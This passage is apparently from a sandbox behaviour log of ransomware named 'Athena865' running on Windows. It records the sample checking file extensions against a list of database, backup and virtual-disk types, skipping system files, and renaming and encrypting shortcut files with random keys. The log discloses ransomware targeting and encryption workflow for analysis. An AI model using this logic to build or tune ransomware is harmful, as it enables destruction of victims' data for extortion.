lstrlenW (lpString="fp3") returned 3 [0052.683] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0052.683] lstrlenW (lpString="fp4") returned 3 [0052.683] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0052.683] lstrlenW (lpString="fp5") returned 3 [0052.683] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0052.683] lstrlenW (lpString="fp7") returned 3 [0052.683] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0052.683] lstrlenW (lpString="fpt") returned 3 [0052.683] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0052.683] lstrlenW (lpString="frm") returned 3 [0052.683] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0052.683] lstrlenW (lpString="gdb") returned 3 [0052.683] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.683] lstrlenW (lpString="gdb") returned 3 [0052.683] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.683] lstrlenW (lpString="grdb") returned 4 [0052.683] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0052.683] lstrlenW (lpString="gwi") returned 3 [0052.683] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0052.683] lstrlenW (lpString="hdb") returned 3 [0052.683] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0052.683] lstrlenW (lpString="his") returned 3 [0052.683] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0052.683] lstrlenW (lpString="ib") returned 2 [0052.683] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0052.683] lstrlenW (lpString="idb") returned 3 [0052.683] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0052.684] lstrlenW (lpString="ihx") returned 3 [0052.684] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0052.684] lstrlenW (lpString="itdb") returned 4 [0052.684] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0052.684] lstrlenW (lpString="itw") returned 3 [0052.684] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0052.684] lstrlenW (lpString="jet") returned 3 [0052.684] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0052.684] lstrlenW (lpString="jtx") returned 3 [0052.684] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0052.684] lstrlenW (lpString="kdb") returned 3 [0052.684] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0052.684] lstrlenW (lpString="kexi") returned 4 [0052.684] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0052.684] lstrlenW (lpString="kexic") returned 5 [0052.684] lstrcmpiW (lpString1="N.lnk", lpString2="kexic") returned 1 [0052.684] lstrlenW (lpString="kexis") returned 5 [0052.684] lstrcmpiW (lpString1="N.lnk", lpString2="kexis") returned 1 [0052.684] lstrlenW (lpString="lgc") returned 3 [0052.684] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0052.684] lstrlenW (lpString="lwx") returned 3 [0052.684] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0052.684] lstrlenW (lpString="maf") returned 3 [0052.684] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0052.684] lstrlenW (lpString="maq") returned 3 [0052.684] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0052.684] lstrlenW (lpString="mar") returned 3 [0052.684] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0052.684] lstrlenW (lpString="marshal") returned 7 [0052.684] lstrcmpiW (lpString1="qGN.lnk", lpString2="marshal") returned 1 [0052.684] lstrlenW (lpString="mas") returned 3 [0052.684] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0052.684] lstrlenW (lpString="mav") returned 3 [0052.684] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0052.685] lstrlenW (lpString="maw") returned 3 [0052.685] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0052.685] lstrlenW (lpString="mdbhtml") returned 7 [0052.685] lstrcmpiW (lpString1="qGN.lnk", lpString2="mdbhtml") returned 1 [0052.685] lstrlenW (lpString="mdn") returned 3 [0052.685] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0052.685] lstrlenW (lpString="mdt") returned 3 [0052.685] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0052.685] lstrlenW (lpString="mfd") returned 3 [0052.685] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0052.685] lstrlenW (lpString="mpd") returned 3 [0052.685] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0052.685] lstrlenW (lpString="mrg") returned 3 [0052.685] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0052.685] lstrlenW (lpString="mud") returned 3 [0052.685] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0052.685] lstrlenW (lpString="mwb") returned 3 [0052.685] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0052.685] lstrlenW (lpString="myd") returned 3 [0052.685] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0052.685] lstrlenW (lpString="ndf") returned 3 [0052.685] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0052.685] lstrlenW (lpString="nnt") returned 3 [0052.685] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0052.685] lstrlenW (lpString="nrmlib") returned 6 [0052.685] lstrcmpiW (lpString1="GN.lnk", lpString2="nrmlib") returned -1 [0052.685] lstrlenW (lpString="ns2") returned 3 [0052.685] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0052.685] lstrlenW (lpString="ns3") returned 3 [0052.685] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0052.685] lstrlenW (lpString="ns4") returned 3 [0052.685] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0052.685] lstrlenW (lpString="nsf") returned 3 [0052.685] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0052.685] lstrlenW (lpString="nv") returned 2 [0052.685] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0052.686] lstrlenW (lpString="nv2") returned 3 [0052.686] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0052.686] lstrlenW (lpString="nwdb") returned 4 [0052.686] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0052.686] lstrlenW (lpString="nyf") returned 3 [0052.686] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0052.686] lstrlenW (lpString="odb") returned 3 [0052.686] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.686] lstrlenW (lpString="odb") returned 3 [0052.686] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.686] lstrlenW (lpString="oqy") returned 3 [0052.686] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0052.686] lstrlenW (lpString="ora") returned 3 [0052.686] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0052.686] lstrlenW (lpString="orx") returned 3 [0052.686] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0052.686] lstrlenW (lpString="owc") returned 3 [0052.686] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0052.686] lstrlenW (lpString="p96") returned 3 [0052.686] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0052.686] lstrlenW (lpString="p97") returned 3 [0052.686] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0052.686] lstrlenW (lpString="pan") returned 3 [0052.686] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0052.686] lstrlenW (lpString="pdb") returned 3 [0052.686] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0052.686] lstrlenW (lpString="pdm") returned 3 [0052.686] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0052.686] lstrlenW (lpString="pnz") returned 3 [0052.686] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0052.686] lstrlenW (lpString="qry") returned 3 [0052.686] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0052.686] lstrlenW (lpString="qvd") returned 3 [0052.686] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0052.686] lstrlenW (lpString="rbf") returned 3 [0052.687] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0052.687] lstrlenW (lpString="rctd") returned 4 [0052.687] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0052.687] lstrlenW (lpString="rod") returned 3 [0052.687] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0052.687] lstrlenW (lpString="rodx") returned 4 [0052.687] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0052.687] lstrlenW (lpString="rpd") returned 3 [0052.687] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0052.687] lstrlenW (lpString="rsd") returned 3 [0052.687] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0052.687] lstrlenW (lpString="sas7bdat") returned 8 [0052.687] lstrcmpiW (lpString1="UqGN.lnk", lpString2="sas7bdat") returned 1 [0052.687] lstrlenW (lpString="sbf") returned 3 [0052.687] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0052.687] lstrlenW (lpString="scx") returned 3 [0052.687] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0052.687] lstrlenW (lpString="sdb") returned 3 [0052.687] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0052.687] lstrlenW (lpString="sdc") returned 3 [0052.687] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0052.687] lstrlenW (lpString="sdf") returned 3 [0052.687] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0052.687] lstrlenW (lpString="sis") returned 3 [0052.687] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0052.687] lstrlenW (lpString="spq") returned 3 [0052.687] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0052.687] lstrlenW (lpString="te") returned 2 [0052.687] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0052.687] lstrlenW (lpString="teacher") returned 7 [0052.687] lstrcmpiW (lpString1="qGN.lnk", lpString2="teacher") returned -1 [0052.687] lstrlenW (lpString="tmd") returned 3 [0052.687] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0052.687] lstrlenW (lpString="tps") returned 3 [0052.688] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0052.688] lstrlenW (lpString="trc") returned 3 [0052.688] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.688] lstrlenW (lpString="trc") returned 3 [0052.688] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.688] lstrlenW (lpString="trm") returned 3 [0052.688] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0052.688] lstrlenW (lpString="udb") returned 3 [0052.688] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0052.688] lstrlenW (lpString="udl") returned 3 [0052.688] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0052.688] lstrlenW (lpString="usr") returned 3 [0052.688] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0052.688] lstrlenW (lpString="v12") returned 3 [0052.688] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0052.688] lstrlenW (lpString="vis") returned 3 [0052.688] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0052.688] lstrlenW (lpString="vpd") returned 3 [0052.688] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0052.688] lstrlenW (lpString="vvv") returned 3 [0052.688] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0052.688] lstrlenW (lpString="wdb") returned 3 [0052.688] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0052.688] lstrlenW (lpString="wmdb") returned 4 [0052.688] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0052.688] lstrlenW (lpString="wrk") returned 3 [0052.688] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0052.688] lstrlenW (lpString="xdb") returned 3 [0052.688] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0052.688] lstrlenW (lpString="xld") returned 3 [0052.688] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0052.688] lstrlenW (lpString="xmlff") returned 5 [0052.688] lstrcmpiW (lpString1="N.lnk", lpString2="xmlff") returned -1 [0052.688] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\lDYBYkmL3UqGN.lnk.Athena865") returned 81 [0052.689] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\lDYBYkmL3UqGN.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\ldybykml3uqgn.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\lDYBYkmL3UqGN.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\ldybykml3uqgn.lnk.athena865"), dwFlags=0x1) returned 1 [0052.689] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\lDYBYkmL3UqGN.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\ldybykml3uqgn.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.690] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1025) returned 1 [0052.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.690] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.691] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.691] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.691] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x710, lpName=0x0) returned 0x154 [0052.691] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x710) returned 0x100000 [0052.691] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.692] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.692] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.692] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.693] CloseHandle (hObject=0x154) returned 1 [0052.693] CloseHandle (hObject=0x17c) returned 1 [0052.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.697] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb06c8000, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb06c8000, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb06ee160, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x232, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LozZwG3.lnk", cAlternateFileName="")) returned 1 [0052.697] lstrcmpiW (lpString1="LozZwG3.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0052.697] lstrcmpiW (lpString1="LozZwG3.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.697] lstrcmpiW (lpString1="LozZwG3.lnk", lpString2=".") returned 1 [0052.697] lstrcmpiW (lpString1="LozZwG3.lnk", lpString2="..") returned 1 [0052.697] lstrcmpiW (lpString1="LozZwG3.lnk", lpString2="windows") returned -1 [0052.697] lstrcmpiW (lpString1="LozZwG3.lnk", lpString2="bootmgr") returned 1 [0052.697] lstrcmpiW (lpString1="LozZwG3.lnk", lpString2="temp") returned -1 [0052.697] lstrcmpiW (lpString1="LozZwG3.lnk", lpString2="pagefile.sys") returned -1 [0052.697] lstrcmpiW (lpString1="LozZwG3.lnk", lpString2="boot") returned 1 [0052.697] lstrcmpiW (lpString1="LozZwG3.lnk", lpString2="ids.txt") returned 1 [0052.697] lstrcmpiW (lpString1="LozZwG3.lnk", lpString2="ntuser.dat") returned -1 [0052.697] lstrcmpiW (lpString1="LozZwG3.lnk", lpString2="perflogs") returned -1 [0052.697] lstrcmpiW (lpString1="LozZwG3.lnk", lpString2="MSBuild") returned -1 [0052.697] lstrlenW (lpString="LozZwG3.lnk") returned 11 [0052.697] lstrcpyW (in: lpString1=0x241e8b4, lpString2="LozZwG3.lnk" | out: lpString1="LozZwG3.lnk") returned="LozZwG3.lnk" [0052.697] lstrlenW (lpString="LozZwG3.lnk") returned 11 [0052.697] lstrlenW (lpString="Athena865") returned 9 [0052.697] lstrcmpiW (lpString1="zZwG3.lnk", lpString2="Athena865") returned 1 [0052.697] lstrlenW (lpString=".dll") returned 4 [0052.697] lstrcmpiW (lpString1="LozZwG3.lnk", lpString2=".dll") returned 1 [0052.697] lstrlenW (lpString=".lnk") returned 4 [0052.697] lstrcmpiW (lpString1="LozZwG3.lnk", lpString2=".lnk") returned 1 [0052.698] lstrlenW (lpString=".ini") returned 4 [0052.698] lstrcmpiW (lpString1="LozZwG3.lnk", lpString2=".ini") returned 1 [0052.698] lstrlenW (lpString=".sys") returned 4 [0052.698] lstrcmpiW (lpString1="LozZwG3.lnk", lpString2=".sys") returned 1 [0052.698] lstrlenW (lpString="LozZwG3.lnk") returned 11 [0052.698] lstrlenW (lpString="bak") returned 3 [0052.698] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.698] lstrlenW (lpString="ba_") returned 3 [0052.698] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.698] lstrlenW (lpString="dbb") returned 3 [0052.698] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.698] lstrlenW (lpString="vmdk") returned 4 [0052.698] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.698] lstrlenW (lpString="rar") returned 3 [0052.698] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.698] lstrlenW (lpString="zip") returned 3 [0052.698] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.698] lstrlenW (lpString="tgz") returned 3 [0052.698] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.698] lstrlenW (lpString="vbox") returned 4 [0052.698] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.698] lstrlenW (lpString="vdi") returned 3 [0052.698] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.698] lstrlenW (lpString="vhd") returned 3 [0052.698] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.698] lstrlenW (lpString="vhdx") returned 4 [0052.698] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.698] lstrlenW (lpString="avhd") returned 4 [0052.698] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.698] lstrlenW (lpString="db") returned 2 [0052.698] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.698] lstrlenW (lpString="db2") returned 3 [0052.698] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.699] lstrlenW (lpString="db3") returned 3 [0052.699] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.699] lstrlenW (lpString="dbf") returned 3 [0052.699] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.699] lstrlenW (lpString="mdf") returned 3 [0052.699] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.699] lstrlenW (lpString="mdb") returned 3 [0052.699] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.699] lstrlenW (lpString="sql") returned 3 [0052.699] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.699] lstrlenW (lpString="sqlite") returned 6 [0052.699] lstrcmpiW (lpString1="G3.lnk", lpString2="sqlite") returned -1 [0052.699] lstrlenW (lpString="sqlite3") returned 7 [0052.699] lstrcmpiW (lpString1="wG3.lnk", lpString2="sqlite3") returned 1 [0052.699] lstrlenW (lpString="sqlitedb") returned 8 [0052.699] lstrcmpiW (lpString1="ZwG3.lnk", lpString2="sqlitedb") returned 1 [0052.699] lstrlenW (lpString="xml") returned 3 [0052.699] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.699] lstrlenW (lpString="$er") returned 3 [0052.699] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.699] lstrlenW (lpString="4dd") returned 3 [0052.699] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.699] lstrlenW (lpString="4dl") returned 3 [0052.699] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.699] lstrlenW (lpString="^^^") returned 3 [0052.699] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.699] lstrlenW (lpString="abs") returned 3 [0052.699] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.699] lstrlenW (lpString="abx") returned 3 [0052.700] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.700] lstrlenW (lpString="accdb") returned 5 [0052.700] lstrcmpiW (lpString1="3.lnk", lpString2="accdb") returned -1 [0052.700] lstrlenW (lpString="accdc") returned 5 [0052.700] lstrcmpiW (lpString1="3.lnk", lpString2="accdc") returned -1 [0052.700] lstrlenW (lpString="accde") returned 5 [0052.700] lstrcmpiW (lpString1="3.lnk", lpString2="accde") returned -1 [0052.700] lstrlenW (lpString="accdr") returned 5 [0052.700] lstrcmpiW (lpString1="3.lnk", lpString2="accdr") returned -1 [0052.700] lstrlenW (lpString="accdt") returned 5 [0052.700] lstrcmpiW (lpString1="3.lnk", lpString2="accdt") returned -1 [0052.700] lstrlenW (lpString="accdw") returned 5 [0052.700] lstrcmpiW (lpString1="3.lnk", lpString2="accdw") returned -1 [0052.700] lstrlenW (lpString="accft") returned 5 [0052.700] lstrcmpiW (lpString1="3.lnk", lpString2="accft") returned -1 [0052.700] lstrlenW (lpString="adb") returned 3 [0052.700] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.700] lstrlenW (lpString="adb") returned 3 [0052.700] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.700] lstrlenW (lpString="ade") returned 3 [0052.700] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.700] lstrlenW (lpString="adf") returned 3 [0052.700] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.700] lstrlenW (lpString="adn") returned 3 [0052.700] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.700] lstrlenW (lpString="adp") returned 3 [0052.700] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.700] lstrlenW (lpString="alf") returned 3 [0052.700] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.700] lstrlenW (lpString="ask") returned 3 [0052.700] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.700] lstrlenW (lpString="btr") returned 3 [0052.700] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.700] lstrlenW (lpString="cat") returned 3 [0052.701] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.701] lstrlenW (lpString="cdb") returned 3 [0052.701] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.701] lstrlenW (lpString="ckp") returned 3 [0052.701] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.701] lstrlenW (lpString="cma") returned 3 [0052.701] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.701] lstrlenW (lpString="cpd") returned 3 [0052.701] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.701] lstrlenW (lpString="dacpac") returned 6 [0052.701] lstrcmpiW (lpString1="G3.lnk", lpString2="dacpac") returned 1 [0052.701] lstrlenW (lpString="dad") returned 3 [0052.701] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.701] lstrlenW (lpString="dadiagrams") returned 10 [0052.701] lstrcmpiW (lpString1="ozZwG3.lnk", lpString2="dadiagrams") returned 1 [0052.701] lstrlenW (lpString="daschema") returned 8 [0052.701] lstrcmpiW (lpString1="ZwG3.lnk", lpString2="daschema") returned 1 [0052.701] lstrlenW (lpString="db-journal") returned 10 [0052.701] lstrcmpiW (lpString1="ozZwG3.lnk", lpString2="db-journal") returned 1 [0052.701] lstrlenW (lpString="db-shm") returned 6 [0052.701] lstrcmpiW (lpString1="G3.lnk", lpString2="db-shm") returned 1 [0052.701] lstrlenW (lpString="db-wal") returned 6 [0052.701] lstrcmpiW (lpString1="G3.lnk", lpString2="db-wal") returned 1 [0052.701] lstrlenW (lpString="dbc") returned 3 [0052.701] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.701] lstrlenW (lpString="dbs") returned 3 [0052.701] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.701] lstrlenW (lpString="dbt") returned 3 [0052.701] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.701] lstrlenW (lpString="dbv") returned 3 [0052.701] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.701] lstrlenW (lpString="dbx") returned 3 [0052.701] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.701] lstrlenW (lpString="dcb") returned 3 [0052.701] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.702] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\LozZwG3.lnk.Athena865") returned 75 [0052.702] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\LozZwG3.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\lozzwg3.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\LozZwG3.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\lozzwg3.lnk.athena865"), dwFlags=0x1) returned 1 [0052.705] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\LozZwG3.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\lozzwg3.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.705] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=562) returned 1 [0052.705] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.706] 